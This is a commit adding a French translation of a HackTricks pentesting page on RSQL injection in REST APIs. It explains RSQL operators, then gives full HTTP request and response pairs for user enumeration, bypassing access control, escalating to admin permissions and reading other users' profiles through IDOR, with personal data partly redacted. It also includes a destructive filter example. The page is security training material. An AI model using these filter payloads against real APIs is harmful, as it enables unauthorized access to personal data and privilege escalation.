Translated ['src/pentesting-web/rsql-injection.md'] to fr

This commit is contained in:
Translator 2025-04-14 23:53:25 +00:00
parent a366b380fa
commit d6c25b81bd

View File

@ -0,0 +1,576 @@
# RSQL Injection
## RSQL Injection
{{#include ../banners/hacktricks-training.md}}
## RSQL Injection
## Qu'est-ce que RSQL ?
RSQL est un langage de requête conçu pour le filtrage paramétré des entrées dans les API RESTful. Basé sur FIQL (Feed Item Query Language), spécifié à l'origine par Mark Nottingham pour interroger des flux Atom, RSQL se distingue par sa simplicité et sa capacité à exprimer des requêtes complexes de manière compacte et conforme aux URI sur HTTP. Cela en fait un excellent choix en tant que langage de requête général pour la recherche d'endpoints REST.
## Aperçu
L'injection RSQL est une vulnérabilité dans les applications web qui utilisent RSQL comme langage de requête dans les API RESTful. Semblable à [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) et [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), cette vulnérabilité se produit lorsque les filtres RSQL ne sont pas correctement assainis, permettant à un attaquant d'injecter des requêtes malveillantes pour accéder, modifier ou supprimer des données sans autorisation.
## Comment cela fonctionne-t-il ?
RSQL vous permet de construire des requêtes avancées dans les API RESTful, par exemple :
```bash
/products?filter=price>100;category==electronics
```
Cela se traduit par une requête structurée qui filtre les produits avec un prix supérieur à 100 et la catégorie "électronique".
Si l'application ne valide pas correctement les entrées de l'utilisateur, un attaquant pourrait manipuler le filtre pour exécuter des requêtes inattendues, telles que :
```bash
/products?filter=id=in=(1,2,3);delete_all==true
```
Ou même profiter pour extraire des informations sensibles avec des requêtes booléennes ou des sous-requêtes imbriquées.
## Risques
- **Exposition de données sensibles :** Un attaquant peut récupérer des informations qui ne devraient pas être accessibles.
- **Modification ou suppression de données :** Injection de filtres qui altèrent les enregistrements de la base de données.
- **Escalade de privilèges :** Manipulation d'identifiants qui accordent des rôles via des filtres pour tromper l'application en accédant avec les privilèges d'autres utilisateurs.
- **Évasion des contrôles d'accès :** Manipulation de filtres pour accéder à des données restreintes.
- **Usurpation d'identité ou IDOR :** Modification d'identifiants entre utilisateurs via des filtres qui permettent d'accéder aux informations et ressources d'autres utilisateurs sans être correctement authentifié en tant que tel.
## Opérateurs RSQL pris en charge
| Opérateur | Description | Exemple |
|:----: |:----: |:------------------:|
| `;` / `and` | Opérateur logique **ET**. Filtre les lignes où *les deux* conditions sont *vraies* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Opérateur logique **OU**. Filtre les lignes où *au moins une* condition est *vraie*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `==` | Effectue une requête **égal**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont exactement égales à *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | Effectue une requête de **recherche**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* contiennent *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | Effectue une requête de **type**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* ressemblent à *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
| `=in=` | Effectue une requête **in**. Retourne toutes les lignes de *myTable**columnA* contient *valueA* OU *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
| `=out=` | Effectue une requête **exclure**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* ne sont ni *valueA* ni *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
| `!=` | Effectue une requête *non égal*. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* ne sont pas égales à *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | Effectue une requête **non type**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* ne ressemblent pas à *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `<` & `=lt=` | Effectue une requête **inférieur à**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont inférieures à *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
| `=le=` & `<=` | Effectue une requête **inférieur à** ou **égal à**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont inférieures ou égales à *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
| `>` & `=gt=` | Effectue une requête **supérieur à**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont supérieures à *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | Effectue une requête **égal à** ou **supérieur à**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont égales ou supérieures à *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | Effectue une requête **de à**. Retourne toutes les lignes de *myTable* où les valeurs dans *columnA* sont égales ou supérieures à *fromValue*, et inférieures ou égales à *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
**Remarque** : Tableau basé sur des informations provenant des applications [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) et [**rsql-parser**](https://github.com/jirutka/rsql-parser).
#### Exemples
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
**Remarque** : Tableau basé sur des informations provenant de l'application [**rsql-parser**](https://github.com/jirutka/rsql-parser).
## Filtres courants
Ces filtres aident à affiner les requêtes dans les API :
| Filtre | Description | Exemple |
|--------|------------|---------|
| `filter[users]` | Filtre les résultats par utilisateurs spécifiques | `/api/v2/myTable?filter[users]=123` |
| `filter[status]` | Filtre par statut (actif/inactif, terminé, etc.) | `/api/v2/orders?filter[status]=active` |
| `filter[date]` | Filtre les résultats dans une plage de dates | `/api/v2/logs?filter[date]=gte:2024-01-01` |
| `filter[category]` | Filtre par catégorie ou type de ressource | `/api/v2/products?filter[category]=electronics` |
| `filter[id]` | Filtre par un identifiant unique | `/api/v2/posts?filter[id]=42` |
## Paramètres courants
Ces paramètres aident à optimiser les réponses API :
| Paramètre | Description | Exemple |
|-----------|------------|---------|
| `include` | Inclut des ressources liées dans la réponse | `/api/v2/orders?include=customer,items` |
| `sort` | Trie les résultats par ordre croissant ou décroissant | `/api/v2/users?sort=-created_at` |
| `page[size]` | Contrôle le nombre de résultats par page | `/api/v2/products?page[size]=10` |
| `page[number]` | Spécifie le numéro de la page | `/api/v2/products?page[number]=2` |
| `fields[resource]` | Définit quels champs retourner dans la réponse | `/api/v2/users?fields[users]=id,name,email` |
| `search` | Effectue une recherche plus flexible | `/api/v2/posts?search=technology` |
## Fuite d'informations et énumération des utilisateurs
La requête suivante montre un point de terminaison d'inscription qui nécessite le paramètre email pour vérifier s'il y a un utilisateur enregistré avec cet email et retourner un vrai ou faux selon qu'il existe ou non dans la base de données :
### Requête
```
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
```
Bien qu'un `/api/registrations?email=<emailAccount>` soit attendu, il est possible d'utiliser des filtres RSQL pour tenter d'énumérer et/ou d'extraire des informations sur les utilisateurs grâce à l'utilisation d'opérateurs spéciaux :
### Request
```
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
```
Dans le cas où un compte email valide est trouvé, l'application renverrait les informations de l'utilisateur au lieu d'un classique *“true”*, *"1"* ou autre dans la réponse au serveur :
### Request
```
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
```
## Évasion d'autorisation
Dans ce scénario, nous partons d'un utilisateur avec un rôle de base et pour lequel nous n'avons pas de permissions privilégiées (par exemple, administrateur) pour accéder à la liste de tous les utilisateurs enregistrés dans la base de données :
### Demande
```
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
```
Encore une fois, nous utilisons les filtres et les opérateurs spéciaux qui nous permettront d'obtenir une alternative pour obtenir les informations des utilisateurs et d'éviter le contrôle d'accès. Par exemple, filtrez par ces *users* qui contiennent la lettre “*a*” dans leur *ID* d'utilisateur :
### Request
```
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
```
## Escalade de privilèges
Il est très probable de trouver certains points de terminaison qui vérifient les privilèges des utilisateurs en fonction de leur rôle. Par exemple, nous avons affaire à un utilisateur qui n'a pas de privilèges :
### Demande
```
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
```
En utilisant certains opérateurs, nous pourrions énumérer les utilisateurs administrateurs :
### Request
```
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
```
Après avoir connu un identifiant d'utilisateur administrateur, il serait possible d'exploiter une élévation de privilèges en remplaçant ou en ajoutant le filtre correspondant avec l'identifiant de l'administrateur et en obtenant les mêmes privilèges :
### Request
```
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
```
## Usurpation d'identité ou Références d'Objet Direct Insecure (IDOR)
En plus de l'utilisation du paramètre `filter`, il est possible d'utiliser d'autres paramètres tels que `include` qui permet d'inclure dans le résultat certains paramètres (par exemple, langue, pays, mot de passe...).
Dans l'exemple suivant, les informations de notre profil utilisateur sont affichées :
### Request
```
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
```
La combinaison de filtres peut être utilisée pour contourner le contrôle d'autorisation et accéder aux profils d'autres utilisateurs :
### Request
```
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Réponse
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
```
## Références
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
{{#include ../banners/hacktricks-training.md}}